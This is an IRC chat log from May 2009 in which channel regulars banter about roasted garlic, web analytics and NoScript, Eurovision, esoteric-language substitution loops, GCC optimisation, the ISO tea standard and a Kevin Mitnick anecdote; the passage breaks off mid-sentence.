without garlic 22:21:23 I have such herb salts here 22:21:32 Seasoning salt. 22:21:43 so lets call it seasoning salt with herbs? 22:21:46 err 22:21:48 with garlic 22:21:54 btw: also black pepper if it is pasta of course 22:21:55 Sure :P 22:22:03 oh and soya if it is rice or rice-like 22:22:12 I put seasoning salt on popcorn. It's yummy. 22:22:19 I don't like popcorn 22:22:21 anmaster: garlic is delicious. 22:22:27 i just feel like agreeing with you there 22:22:40 * GregorR-L grounds garlic into psygnisfive's very SOUL 22:22:46 psygnisfive, I had some raw garlic just half an hour ago. Was very nice 22:22:46 grinds* 22:22:56 Yes, grinds :P 22:23:03 ooh me too! 22:23:05 ;P 22:24:15 anmaster: 1 head of garlic, minus the easily removed outer skin. cut the tips of the cloves off and coat lightly with olive oil. sprinkle on to it oregano, wrap in tin foil, and bake for 45 minutes to an hour at 400 degrees. 22:24:17 mmm delicious 22:24:41 sounces nice yes 22:24:44 sounds* 22:24:49 can you skip the olive oil? 22:24:53 no, you really shouldnt 22:24:56 meh 22:25:04 the garlic comes out soft and sweet 22:25:07 I don't like olive oil really 22:25:17 thats ok, you really dont eat much of it 22:25:36 -!- BeholdMyGlory has quit (Remote closed the connection). 22:25:38 psygnisfive, plus, I don't have any more fresh garlic at home. 22:25:39 you turn the garlic upside down and squeeze and the cloves slide right out of the skin 22:26:14 if you cooked it long enough for the cloves to be REALLY soft, theyre sort of squish out, but either way, the oil is mostly on the skin anyway. 22:26:27 its there to like... conduct heat, or something, really. 22:26:41 the garlic comes out soft and sweet <-- garlic shouldn't be sweet. If I wanted sweet I would go for sugar 22:26:43 and you dont cover the whole thing in oil, its just mostly the top bits 22:26:48 oh no, anmaster, trust me 22:26:51 its a good sweet 22:26:55 not sugary 22:27:00 its delicious, just try it 22:27:02 kay 22:27:06 if I remember it 22:27:12 when I have more fresh garlic 22:27:18 and it isn't midnight almost 22:27:25 its pretty simple.im sure you can get close by just baking a whole head of garlic 22:27:50 you jsut have to cut off the tops of the cloves before you do, otherwise itll be impossible to get the garlic out 22:28:08 psygnisfive, I only have dried garlic at home currently 22:28:09 no fresh 22:28:13 I told you above 22:28:14 eugh 22:28:27 go buy some garlic, jesus. 22:28:51 psygnisfive, Um. It should be up next week (green house) 22:29:08 the first ones 22:29:13 what? 22:29:26 psygnisfive, you "grow" food when possible. Not "buy" it. 22:29:27 ... 22:29:37 better for the environment. Less transports. 22:29:46 well, sure, but you cant "grow" yourself some garlic to cook today, can you? 22:29:47 :P 22:30:03 psygnisfive, no. Because it is half an hour to midnight. All shops are closed too. 22:30:12 lame. 22:30:22 Plus. I just ate. 22:30:23 duh 22:30:30 psygnisfive, and what is lame. 22:30:40 your grocery stores not being open 24 hours 22:30:58 psygnisfive, and you said bake for 45 minutes. By that time it won't be today any more 22:31:02 thus I can't do it today 22:31:05 DUH 22:31:24 do not make me bust out the lexical semantics on you. 22:31:34 the what? 22:31:39 LEXICAL SEMANTICS, FOOL 22:31:48 You mean FOO' 22:31:58 if i meant foo' i would've typed bar' 22:32:00 plus I could just /ignore you if it was too annoying linqustics stuff 22:32:08 psygnisfive, and why should shops be open 24h 22:32:22 anmaster: because then you could go get garlic! 22:32:23 duh. 22:32:46 I pity the FOO 22:32:56 psygnisfive, that is a major stress causing factor for those who work there. It is better for humans to be awake during day than night. Various biological reasons for it. 22:33:07 Slereah, that meme is way way way outdated. 22:33:11 more than AYB even 22:33:14 anmaster: tell that to my body 22:33:27 psygnisfive, ? 22:33:36 or to the 50% of the population that is biologically predisposed to being awake at night 22:33:41 as recent studies have found! 22:33:46 psygnisfive, And I have garlic flavoured bread at home. 22:33:57 totally not the same 22:34:07 psygnisfive, very true 22:34:39 but im just being a garlic whore. 22:35:07 or maybe a garlic hoare, given the company i keep here 22:35:52 what? 22:35:56 what is the joke 22:36:08 -!- psygnisfive has changed nick to CARHoare. 22:36:17 who cares about garlic, look at this medal i have! http://research.microsoft.com/en-us/people/thoare/tony2.jpg 22:36:21 -!- CARHoare has changed nick to psygnisfive. 22:36:22 what 22:36:28 CARHoare? 22:36:30 IDGI 22:36:44 wait, you work for MS? 22:37:00 and that can't be you 22:37:02 CARHoare does! 22:37:11 what 22:37:17 you totally confused me 22:37:17 C. A. R. Hoare 22:37:28 Sir Charles Antony Richard Hoare 22:37:35 I hear what you say 22:37:40 ok 22:37:42 that name doesn't mean anything to me though 22:37:43 ... 22:37:48 hoare logic 22:37:55 * AnMaster googles 22:38:04 a logic for imperative languages. 22:38:12 Men 22:38:15 Meh* 22:38:21 psygnisfive, and what has that got do with you 22:38:25 nothing 22:38:31 i said i was being a garlic whore 22:38:33 In such cases, one uses wiki, not google 22:38:37 or maybe a garlic hoare, given the company i keep here 22:38:48 then i made a pun based on the name "hoare", which is said the same as "whore" 22:39:18 "C.A.R. Hoare, is a British computer scientist, probably best known for the development in 1960 of Quicksort (or Hoaresort)" 22:39:20 Interesting 22:39:58 wow 22:40:01 that is interesting 22:40:06 I assume we're not calling it "Hoaresort" nowadays due to the pronunciation-based misambiguatities. 22:40:12 Heh 22:40:14 haha 22:40:22 horse oort! 22:42:49 back 22:43:18 front 22:43:32 up 22:45:56 22:29 AnMaster: better for the environment. Less transports. ← yeah walking is like the devil 22:45:58 22:32 AnMaster: psygnisfive, that is a major stress causing factor for those who work there. It is better for humans to be awake during day than night. Various biological reasons for it. 22:46:01 you're full of shit 22:46:15 ehird let it go, hes silly. 22:46:28 psygnisfive: try dealing with him on a daily basis before saying that :) 22:47:02 all the more reason you should let it go! 22:47:17 i plead insanity 22:49:10 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 22:50:49 ehird, um... How do you think it got to the store 22:51:00 ehird, probably by truck 22:51:13 AnMaster: guess what? it's in the store whether you buy it or not 22:51:29 unless you think that you, as a tiny meaningless statistical factor, could cause pressure to ship more garlic in any meaningful way 22:51:39 which is ridiculously egotistical 22:51:59 ehird, don't vote. you are a tiny meaningless statistical factor. What you vote for won't change anything, 22:52:02 s/,/./ 22:52:41 AnMaster: You've brought up that bullshit before. 22:52:44 I've rebutted it before. 22:52:45 Next, please. 22:52:51 ehird, it is the same concept. 22:53:14 I'm sure it is in AnMaster-land 22:53:28 and yes I think not voting is bull shit too. But I'm just extrapolating from your own opinions. 22:54:33 …where by "extrapolating" you mean "making shit up". 22:54:39 no. 22:54:47 I've done things to affect statistics before 22:54:49 And asserting things 22:55:13 ais523, And I try to tell other people about it, so they do the same thing. 22:55:24 Plus of course home grown tends to taste better. 22:55:34 you grow your own garlic? 22:56:02 ais523, not as much me as having a mom how is a gardening geek. 22:56:02 ais523: as far as I can tell, he views going to a store as a blot on his very soul 22:56:15 oh 22:56:27 but yes I tend to prefer home grown and home made food 22:56:28 in that case, why does he think he has a statistical effect on the store 22:56:31 because he doesn't go there? 22:56:42 usually it tastes better. 22:57:37 less artificial flavour from flavour enhancers and so on... 22:57:54 ais523: by consciously thinking about not going to the store, he telepathically is "not there", as a positive instead of just not "there" 22:58:08 thus influencing statisticsa 22:58:11 *statistics 22:58:15 ehird, what the hell do you mean. 22:58:20 you are full of bull shit 22:58:25 AnMaster: it's what I'd like to know myself! 22:58:43 AnMaster: By the way, it's "bullshit" 22:58:47 ehird: well, I've refused to buy things because they're too expensive before 22:58:56 ehird, sounds like you are trying a straw man argument... 22:58:57 good job! 22:58:58 ais523: I don't see how that's relevant 22:59:02 normally I spend the money at a competitor of the people who were charging too much 22:59:10 AnMaster: it's what you call "extrapolating from your behaviour" 22:59:13 so that probably does put some sort of small pressure on 22:59:26 which is, yes, a strawman argument 22:59:39 ehird, then in your case you couldn't explain the difference though. 22:59:45 night all! 22:59:52 you haven't explained the difference yourself 22:59:58 ehird, between what? 23:00:09 hmm... it seems Norway are getting a runaway win on Eurovision 23:00:13 with the largest score ever 23:00:15 "extrapolating from your behaviour" voodoo jumps to conclusions VS strawman 23:00:23 ais523: what did you do wrong? 23:00:33 ais523, why are you watching eurovision? 23:00:34 (I'm trying to figure out what you're being punished for) 23:00:42 AnMaster: I said that far more classily :| 23:00:50 ehird, yeah you did 23:01:01 oh, I find modern music so bad anyway that Eurovision isn't any worse by comparison 23:01:08 ehird, seems we agree on something for once. That ais523 disagree with us on 23:01:11 Oh. 23:01:12 My. 23:01:17 ais523: oh, I don't know 23:01:22 only it was incredibly bad this year 23:01:24 as in, even worse than normal 23:01:32 ais523, what about the Swedish one 23:01:38 as an example of just how bad the competition is, the UK are curretnly fourth 23:01:40 ais523: if pop is like a plastic facade of music, eurovision is like the silicone version 23:01:42 and Sweden's fourth-last 23:01:49 huh 23:02:04 ais523, I actually thought the Swedish one was good when I heard it on radio recently 23:02:15 it was like pop + opera 23:02:19 ais523: No more 'Wolfram|Alpha isn't sure what to do with your input'. Wolfram|Beta knows the answer to ALL your questions! 23:02:24 ais523: http://www.wolframsbeta.com/ 23:02:31 the performer is in fact a opera singer for her day-to-day job 23:02:33 ehird: heh, already? 23:02:36 before I click on that, what is it? 23:02:45 ais523: it's like Wolfram|Alpha, except it knows the answer to everything 23:02:51 (no shock sites or anything.) 23:02:53 does it always answer 42? 23:02:59 dammit! 23:02:59 or use Google? 23:03:05 haha 23:03:10 ais523: well, it also asks its mom for washing, and reads 4chan, while calculating 42 23:03:24 it's sort of like the nutri-matic machine, except the thing it always gives is better than the truth 23:03:28 um 23:03:44 it also reads digg 23:03:44 ais523: http://www.reddit.com/r/programming/comments/8kz97/no_more_wolframalpha_isnt_sure_what_to_do_with/c09mbiq 23:03:45 it said 23:03:45 hahah 23:03:50 AnMaster: yes, I was just giving a sample 23:03:55 -!- pikhq has joined. 23:04:03 23:04:11 AnMaster: google analytics, what's your point 23:04:12 why do you see that in almost every page 23:04:19 ehird: you should post Alpha's terms-of-use contract to reddit 23:04:22 AnMaster: it collates browser statistics etc 23:04:26 with a suitably scary headline 23:04:31 AnMaster: for graphing and stuff by the webmaster 23:04:32 ehird, ok, and why do you want to give that to google 23:04:40 AnMaster: google doesn't read it 23:04:42 the site owner does 23:04:43 rather than just use webalizer or analog or whatever 23:04:53 because that requires a web server setup, has a klunky UI, .. 23:05:04 AnMaster: it's no more dangerous information than a logfile 23:05:09 ehird, NEWS NEWS 23:05:15 browsers don't go around giving just anyone important info... 23:05:17 AnMaster: what? 23:05:28 ehird, All web pages "requires a web server setup". 23:05:33 maybe you didn't know that! 23:05:36 AnMaster: you're a retard. 23:05:41 try and set up webalizer sometime 23:05:44 then set up google analytics 23:05:48 ehird, I did last month 23:05:54 took, uh 5 minutes? 23:06:00 but I prefer analog 23:06:03 protip: google analytics consists of pressing a button and adding it to the bottom of your footer template 23:06:12 as a bonus, it has a better UI 23:06:28 ehird, but it will only work if the client has javascript turned on 23:06:40 AnMaster: guess what almost every web browser in the modern world has turned on? 23:06:51 javascript 23:07:02 yes, I know you use Noscript. Yes, you too, oh, and you! 23:07:06 So that's about 0% 23:07:16 actually, javascript-off use is increasing a lot 23:07:18 sure. But you underestimate how popular extensions like noscript is 23:07:27 and remember, crawlers scrape without javascript 23:07:33 I'd say that's a bigger factor than javascript 23:07:38 *noscript 23:07:39 ais523: To about 0.5%, perhaps. And that's okay, because analytics don't matter for crawlers. 23:07:39 yeah 23:07:46 It's to measure what humans are visiting your site. 23:07:59 ehird, I'm interested to see if I have been crawled too 23:08:06 Just FYI 23:08:08 well, I deliberately block analytics scripts 23:08:13 AnMaster: you still have logfiles 23:08:15 even more so than the general blocking of JS 23:08:15 ais523, same here 23:08:25 http://www.w3schools.com/browsers/browsers_stats.asp says 5 % off. 23:08:28 ehird, Um yes duh? 23:08:28 ais523: unfortunately you cannot block apache/access.log 23:08:30 as in, I never let them in even when I unblock a site, and I have NoScript set to put them in a separate menu 23:08:31 fizzie: that's w3schools 23:08:34 fizzie: guess who their audience is? 23:08:35 I don't mind access.log 23:08:36 technical people! 23:08:37 fizzie, that is interesting 23:08:44 AnMaster: it's meaningless 23:08:48 ehird, and. What audience do you think I have. 23:08:51 w3schools has reported firefox as wildly popular since forever 23:08:52 it's third-party analytics scripts that annoy me, why don't they just use their server logs? 23:08:52 Technical. 23:08:54 Duh! 23:08:57 AnMaster: so don't bloody use it 23:09:08 AnMaster: reddit requires javascript, it has a bunch of technical people 23:09:16 how many people do you think it's lost due to requiring JS everywhere? 23:09:21 i'd say a few thousand 23:09:21 it's third-party analytics scripts that annoy me, why don't they just use their server logs? <-- that is what I'm arguing for too! 23:09:30 ais523: because these give more detail? 23:09:37 ehird, I turn it on for those sites I'm interested in. 23:09:41 well, I don't like them trying to track me across sites easily 23:09:52 ais523, same 23:09:54 ais523: that's okay because they can't. 23:10:04 I wonder why I argue with the two people who never change their minds 23:10:08 I must be fucking bonkers 23:10:10 which two? 23:10:14 I change my mind about some things 23:10:16 just not others 23:10:23 also, I agree with ehird sometimes, and AnMaster sometimes 23:10:35 it's rare enough that angels go by my window singing a heavenly song everytime it happens 23:10:54 Okay, thecounter.com statistics (which shouldn't be *that* technically-oriented) for April 2009 is 6% no-Javascript: http://www.thecounter.com/stats/2009/April/javas.php 23:10:57 wolframbeta: What is the question to life, universe and everything? 42 23:11:00 that is WRONG! 23:11:02 :((((((( 23:11:09 or 23:11:10 hm 23:11:14 Symetrical: 23:11:16 AnMaster: it cannot possibly be wrong 23:11:19 by definition 23:11:20 42? 42 23:11:32 ehird, yes, the universe would have ended if it was right! 23:11:48 i mean wolframbeta 23:12:06 I wonder why I argue with the two people who never change their minds 23:12:19 23:12 AnMaster: I wonder why I argue with the two people who never change their minds 23:12:25 I wonder why I argue with the one person who never change his mind 23:12:25 ... 23:12:34 AnMaster: you never change your grammar either 23:12:54 ehird, and what does that have to do with this 23:13:05 nothing 23:13:50 interesting name for a movement: "Andante di molto - Allegro" 23:13:55 both in one? 23:15:37 -!- psygnisfive has quit ("Leaving..."). 23:16:46 lovely music though 23:38:15 -!- ais523 has quit (Remote closed the connection). 23:39:06 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 2009-05-17: 01:06:30 [[The one number it gave that seemed like it might be the number of infant deaths per year was actually the total number of deaths per year, multiplied by one child, i.e. pure nonsense.]] 01:10:06 gdp/deaths 01:10:13 $993,258.23 per person 01:10:17 it got it right!! 01:10:25 using estimates from 1993-2008 too 01:11:48 ais523-in-future: i think they're improving it. It handles "gdp/average human height in centimeters" 01:20:55 x!=0, log(x)!=0, x^(3/x^3+1/x^2+1)!=0, y = (x^3 (-W_n(-(e^((log(x))/x^2-(3 log(x))/x^3) log(x))/x^3))+x log(x)-3 log(x))/(x^3 log(x)), n element Z 01:21:06 x=1, y-1; x=2, y=0 01:21:08 x^y - x^3y + x - 3 = 0 01:32:12 -!- FireFly has quit ("Later"). 01:56:02 -!- Sgeo has joined. 02:02:36 * Sgeo goes to set up a Paypal account while on Windows 02:03:57 Unless a hacker's thinking of using a 2-minute Window between me transfering funds to the account and when I purchase stuff with it, I think I'm safe 02:06:35 They've already hacked in. 02:07:22 I'm not going to hook it up to any "real" stuff 02:07:54 "Once you link your bank account or credit card, you'll speed through online checkout without exposing your financial information." No thanks 02:11:05 -!- coppro has quit (Remote closed the connection). 02:11:06 I wouldn't trust Paypal to be hooked to a credit card or bank account if I had Knuth do a formal analysis of the OpenBSD operating system and *then* installed OpenBSD. 02:11:41 Now, if I could replace Paypal itself with OpenBSD, then maybe we'd be talking. 02:11:44 :p 02:12:56 I'm just going to use some SL money 02:13:05 I should probably start working on my SL product 02:13:21 And figure out how to receive Paypal payments 02:22:10 -!- Gracenotes has quit ("Leaving"). 03:15:32 -!- Gracenotes has joined. 03:25:38 -!- bsmntbombdood has quit (Remote closed the connection). 03:44:13 -!- bsmntbombdood has joined. 04:28:00 -!- coppro has joined. 05:14:56 -!- GreaseMonkey has joined. 05:29:08 woot 05:29:14 i can actually play 1080p now 05:38:34 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)). 05:51:53 -!- bsmntbombdood has joined. 06:16:13 -!- psygnisfive has joined. 06:50:37 -!- evincar has joined. 06:50:45 Honk blarg blarg. 06:50:58 How's everyone doing? 06:51:40 hello evincar 06:56:04 Oy. 06:56:11 Pretty dead tonight, then, eh? 06:57:41 eh. 07:02:41 I think I may accidentally have done something that my dad will kill me for 07:02:53 Oh? 07:03:19 Turned L$ into USD and deposited into a paypal account 07:03:28 I have no clue about the tax implications 07:04:06 ?? 07:04:48 L$ is the currency used in Second Life 07:05:24 http://news.ycombinator.com/item?id=612999 07:05:24 http://www.reddit.com/r/programming/comments/8l10s/a_brief_history_of_grammar/ 07:05:25 http://digg.com/general_sciences/A_Brief_History_of_Grammar/ 07:05:27 vote em up :3 07:05:57 no. 07:06:01 i has a core i7 07:40:56 -!- evincar has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 07:52:38 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:40:01 -!- kar8nga has joined. 08:42:24 -!- oerjan has joined. 08:42:58 -!- BeholdMyGlory has joined. 08:50:50 People who strip the fat of bacon are evil agents of the End Times. 08:52:17 lean, mean, evil agents who can easily outrun you 09:14:26 Wow. I hear this car zoom up behind me, so I start bleeding off speed (which is my automatic being-tailgated reaction), and look in the rear-view mirror to see ... a cop ... tailgating me ... without his lights on. He veers off of me and into the next lane, then zooms up and starts tailgating the next guy, whose automatic reaction was to speed up, presumably to faster than the speed limit, at which point the cop pulled him over. 09:16:51 [-_-] 09:18:47 -!- oerjan has quit ("Reboot"). 09:22:15 -!- oerjan has joined. 09:23:26 hm... 09:26:30 _is_ it really the case that a single /// substitution can only loop if the destination contains the source? 09:38:24 -!- kar8nga has quit (Remote closed the connection). 09:47:11 ⍥ 09:47:41 * oerjan paranoidly checks for unicode 09:47:47 darn i was right 09:51:55 APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS 09:52:39 Öh. 09:56:34 /abcabc/bcabcabca/abcabc fails as the destination contains the source 09:57:02 even though two destinations can combine to create an extra copy 09:57:42 hm... 09:58:19 /abb/bbaab/abb 09:58:26 er 09:58:31 /abb/bbaab/abbabb 09:58:50 um no 09:59:48 /abb/bbaab/abbbb -> bbaabbb -> bbbbaabb 10:00:53 d'oh 10:02:26 /abb/bbaab/abbbb -> bbaabbb -> bbabbaabb -> bbbbaabaabb -> bbbbaababbaab 10:06:02 indeed that works 10:06:30 * oerjan just added a fourth debugging level to the interpreter just to check that :D 10:07:05 hm i wonder... 10:13:42 oh, also /ab/bbaa/abab, that's probably the simplest 10:25:50 make that /ab/bbaa/abb 10:43:26 -!- tombom has joined. 11:23:27 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 11:50:12 -!- upyr[emacs] has joined. 12:02:13 -!- FireFly has joined. 12:05:56 -!- M0ny has joined. 12:07:03 -!- Slereah_ has joined. 12:10:43 -!- Slereah has quit (Read error: 110 (Connection timed out)). 12:21:47 -!- olsner has joined. 12:48:53 -!- tombom_ has joined. 13:01:14 -!- tombom has quit (Read error: 110 (Connection timed out)). 13:01:15 -!- tombom_ has changed nick to tombom. 13:11:03 -!- kar8nga has joined. 13:23:22 -!- kar8nga has quit (Remote closed the connection). 14:15:08 -!- oerjan has quit ("leaving"). 14:25:52 Interesting. GCC generates better code at -O2 for do{...}while(foo); loops than while(foo){...} 14:26:12 that is when foo is assigned just a few lines before 14:26:21 so it could easily figure out that the loop will always be run 14:26:29 in theory at least 14:32:21 GCC's optimisation is not exactly best-in-class. 14:32:30 It's just rather good. 14:32:45 Just like almost everything else about GCC. 14:33:03 So, it managed to be one of the best compilers by not being bad at much anything. ;) 14:33:37 heh 14:34:41 being the only generally available compiler certainly helps too 14:35:06 Well, yes. It *is* just about guaranteed to be available for your platform. 14:35:58 Unlike, say, icc, which is for i686-pc-linux-gnu, x86_64-pc-linux-gnu, i686-pc-windows-microsoft, and x86_64-pc-windows-microsoft... 14:36:20 Or MS VC++, which is available for half of those. 14:36:47 um 14:36:48 clang 14:37:16 pikhq, you forgot that icc handles Linux on Itanium too 14:37:20 Yes. That's the only compiler I see replacing GCC, 14:37:34 For about the same reasons that GCC got to be ubiquitous. 14:37:56 Except that it's a bit better. 14:38:41 There's ICC for OS X and QNX, though. 14:38:51 for QNX too? heh 14:38:54 OS X I did know 14:39:47 Well, it's listed on http://software.intel.com/en-us/intel-compilers/ at least; I don't know about up-to-date versions. And no Fortran compiler on QNX. 14:46:25 Still, ICC sucks for non-Intel processors. 15:05:59 -!- upyr[emacs] has quit (Remote closed the connection). 15:49:19 -!- Judofyr has joined. 15:53:05 anyone know a good non-compiled language to use for output to test lostking? From GCC I always get "out of memory". Even when letting it use 1 GB. 15:57:46 -!- Slereah_ has quit (Read error: 60 (Operation timed out)). 15:57:53 -!- kar8nga has joined. 16:01:52 -!- Slereah has joined. 16:04:12 -!- Judofyr has quit (Remote closed the connection). 16:05:56 -!- asiekierka has joined. 16:05:59 hi 16:17:12 -!- kar8nga has quit (Read error: 104 (Connection reset by peer)). 16:22:55 -!- kar8nga has joined. 16:23:53 psygnisfive: dude, why di you submit that to proggit 16:23:57 it has nothing to do with programming 16:24:11 also, downvoted for news site whoring. 16:24:19 it was the closest thing i could think to add it to, given whats on the sites :P 16:24:34 http://www.reddit.com/r/linguistics 16:24:44 ... 16:24:48 THAT WAS SO NOT ON THE LIST 16:24:53 omg wtf 16:24:57 psygnisfive: the list lists the most popular reddits. 16:24:59 there are thousands. 16:25:04 ugh 16:25:08 had i know 16:25:14 well, adding it there too i guess? 16:25:36 i'm going to log into digg and slashdot and hn for the first time in ages and downvote them too because i hate "UPVOTE DIS" buttons :) 16:25:50 well ill remove those buttons just for you then :P 16:25:50 ooh, I don't have to for HN, the submission's deleted 16:26:07 is not! 16:26:11 psygnisfive: oh? 16:26:15 http://news.ycombinator.com/item?id=612999 16:26:17 psygnisfive: "[dead]" 16:26:19 I beg to differ, sir. 16:26:36 A Brief History of Grammar (wellnowwhat.net) 16:26:36 3 points by psygnisfive 10 hours ago | 1 comment 16:26:37 16:26:39 1 point by cendrillonea 8 hours ago | link 16:26:41 I really enjoyed this, and thought it was a well-detailed account that more than adequately explained the evolution of the grammar we use today. 16:26:44 reply 16:26:47 Hacker Newsnew | comments | leaders | jobs | submitlogin 16:26:47 [dead] 16:26:49 discuss 16:26:51 16:26:53 1 point by cendrillonea 8 hours ago | link 16:26:55 I really enjoyed this, and thought it was a well-detailed account that more than adequately explained the evolution of the grammar we use today. 16:26:57 looks like youre hallucinating :( 16:26:58 reply 16:27:00 psygnisfive: you can see it because you are the submitter, I infer. 16:27:05 oh 16:27:06 for everyone else... 16:27:07 possibly! 16:27:12 yer submission's dead 16:27:15 oh. this is true. :( 16:27:17 aww 16:27:21 lame 16:31:08 did you read any of it ehird? 16:31:28 i don't care about grammar, tbh 16:32:00 ok 16:32:05 you should still read it 16:32:16 its not so much about grammar as in "what do languages do blah blah blah" 16:32:26 and more about grammar formalisms 16:32:41 which is a very different thing 16:32:53 to sum up for you the TG account: 16:33:34 -!- sebbu2 has changed nick to sebbu. 16:33:48 you have a finite language, that produces some small set of "kernel sentences", and then you have a number of unrestricted production rules that modify a sentence in particular ways, including adding in recursive elements 16:34:29 the TG approach wanted to see what was a sufficient enough set of kernel sentences and transformational rules in order to account for all over natural language 16:35:01 psygnisfive: βß 16:36:17 beta eszet 16:36:23 why do you say bss? :( 16:36:37 psygnisfive: because fhd 16:36:41 Isn't beta more of a /v/ sound? 16:36:48 Durünglork toshmosh, psygnisfive! 16:36:51 it is in modern greek, yes 16:38:05 -!- Judofyr has joined. 16:41:54 anyway, ehird, you should check it out. just because. :P 16:42:08 rewrite it in tardglish and i will 16:42:25 dee dee dee 16:45:25 Download now a shareware DOS executable version of UUdecode. Or, download a zipped version of the same. 16:45:26 You can find fancier implementations of uuencode and uudecode in various places, but they do basically the same processing that my versions do. But if you are a software developer, beware that none of those other implementations make available the source code so that you can incorporate uuencode and uudecode functions into your own projects. 16:45:31 Only $75! 16:45:33 http://my.execpc.com/~adw/uu.html 16:45:40 It's written in BASIC! 16:45:57 wot 16:46:05 Indeedy. 16:49:27 http://www.flickr.com/photos/xorsyst/3494215156/ 16:49:28 i want this 16:52:47 -!- Judofyr has quit (Remote closed the connection). 16:56:57 ISO 3103 is a standard published by the International Organization for Standardization (commonly referred to as ISO), specifying a standardized method for brewing tea. It was originally laid down in 1980 as BS 6008:1980. It was produced by ISO Technical Committee 34 (Food products), Sub-Committee 8 (Tea). 16:56:59 The abstract states the following: 16:57:01 The method consists in extracting of soluble substances in dried tea leaf, containing in a porcelain or earthenware pot, by means of freshly boiling water, pouring of the liquor into a white porcelain or earthenware bowl, examination of the organoleptic properties of the infused leaf, and of the liquid with or without milk, or both. 17:01:13 "Just as liberal feminists are frequently content with a minimal agenda of legal and social equality for women and 'pro-choice', so liberal (and even some socialist) mathematicians are often content to work within the hegemonic Zermelo-Fraenkel framework (which, reflecting its nineteenth-century liberal origins, already incorporates the axiom of equality) supplemented only by the axiom of choice." 17:06:01 ehird: was this tea standard introduced by a brit? 17:06:03 it sounds like it 17:06:15 also: i love tea :D 17:06:27 I have a feeling I'd like tea if I could be arsed to make it Properly(TM). 17:06:51 well are you following the ISO 3103 standardized method for bewing tea? 17:07:05 Well, no. 17:07:09 theres your problem! 17:08:55 It also suggests the obvious (non-regexp) solution: building a ISO 3103 compliant tea-making robot. 17:09:17 Letter O considered harmful 17:09:17 During the same Fortran Standards Committee meeting at which the name "FORTRAN 77" was chosen, a technical proposal was somehow smuggled into the official distribution, bearing the title, "Letter O considered harmful". This deceptively simple proposal purported to address the confusion that sometimes arises between the letter "O" and the numeral zero, by eliminating the letter from allowable variable names. However, the method proposed was to eliminate t 17:09:22 he letter from the character set entirely (thereby retaining 48 as the number of lexical characters, which the colon had increased to 49). 17:09:25 Among the "PRO" arguments was the assertion that this would also promote structured programming, by making it impossible to use the notorious GO TO statement as before. (Troublesome FORMAT statements would be eliminated, as well.) 17:09:29 The sole "CON" argument conceded that "this might invalidate some existing programs" but noted that most of these "probably were non-conforming, anyway".[16][17] 17:11:46 lol 17:11:49 oh fortran 17:12:46 im off to get food 17:12:50 i love you all :D 17:12:51 <3 17:13:20 Even me? 17:13:35 no. 17:14:38 :( 17:14:44 http://img411.imageshack.us/img411/6782/hackerbymetallicbox.jpg 17:14:45 WHY WON'T YOU LOVE ME 17:14:48 Freemason=Hacker 17:15:04 MASON 17:16:20 ^style 17:16:20 Available: agora alice c64 darwin discworld europarl ff7 fisher* ic irc jargon lovecraft nethack pa speeches ss wp youtube 17:16:29 ^style c64 17:16:29 Selected style: c64 (C64 programming material) 17:16:32 fungot: do stuffs 17:16:33 asiekierka: two lines located on the serial bus secondary device address, the microprocessor from a low active chip select conditions have been moved up, or via dedicated handshaking lines. 17:17:22 "Mitnick served five years in prison, of which four and a half years were pre-trial and eight months were in solitary confinement because the Judge was convinced he could start a nuclear war by whistling into a pay phone if he were near one." 17:17:23 I WHISTLED FOR A NUCLEAR BOMB AND WHEN IT CAME NEAR THE LICENSE PLACE SAID "FRESH" AND HAD DICE IN THE MIRROR 17:44:10 ehird, where is that quote from 17:44:26 AnMaster: it's complicated. 17:44:32 which quote are we referring to? 17:44:45 the one about the nuclear war and the judge 17:45:27 ehird, though I guess I should ask about the upper case line too. 17:45:45 [[Kevin Mitnick]]. 17:45:59 uncyclopedia right? 17:46:01 No. 17:46:03 Wikipedia. 17:46:07 made up? 17:46:10 no. 17:46:13 HUH! 17:46:27 And the UPPERCASE QUOTE is from The Fresh Prince of Bel-Air's theme song; if you don't have an attuned sense of post-hipster irony it may just be best to know that it's a *chan meme. 17:47:04 -!- tombom has quit (Read error: 104 (Connection reset by peer)). 17:47:25 ehird, ah 17:47:32 Well. 17:47:36 s/CAB/NUCLEAR BOMB/ 17:47:38 Just a minor adjustment. 17:47:39 "In addition, as per the plea deal, Mitnick was prohibited from profiting from films or books that are based on his criminal activity for a period of seven years." 17:47:42 err what... 17:47:50 What do you mean, what? 17:48:06 http://www.imdb.com/title/tt0159784/ 17:48:18 There was a movie made ... very, very loosely based ... on Mitnick. 17:48:26 Veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery loosely. 17:48:31 I see 17:50:14 ehird, why would he be forbidden from making money on such movies 17:50:33 I can't see how a movie would harm anyone 17:50:36 AnMaster: To stop him coming out on top? 17:50:42 hm ok 17:50:44 If he profits from selling his story, he's profiting from committing crimes. Indirectly. 17:50:50 It's stupid, but I can see where it's coming from. 17:50:54 ok, makes kind of sense I guess. 17:51:01 if you see it that way 17:54:18 -!- kar8nga has quit (Remote closed the connection). 18:08:01 http://lambda-the-ultimate.org/node/1562#comment-18623 18:09:48 DYNO MIIIIITE 18:09:48 The nuclear war quote is a "sourced statement" in the sense that it's from a newspiece saying "-- Mitnick was put in solitary confinement and prevented from using a phone after law enforcement officials convinced a judge that he had the ability to start a nuclear war by whistling into a pay phone, he [Mitnick] said." A bit funny that Wikipedia presents it as fact. 18:11:17 ... Seriously. 18:11:55 Mitnick able to start a nuclear war by whistling into a pay phone? 18:12:17 Could we *seriously* get some judges that know anything about the technology they maintain? 18:12:21 Erm. 18:12:26 Preside over. 18:14:12 Given that it's only Mitnick himself who said they were worried about he being able to start a nuclear war, it is conceivable that he might have been a bit hyperbolic there. 18:14:27 True. 18:14:44 By '95, inband signaling was outmoded. 18:15:10 So, he couldn't even conceivably do the Cap'n Crunch hack and get free long distance. 18:15:35 (Not that knowledge and judges exactly seem to meet often in, say, the EFF legal case descriptions.) 18:15:49 Yeah... 18:16:03 And legislators aren't much better. 18:16:27 (come on people: making 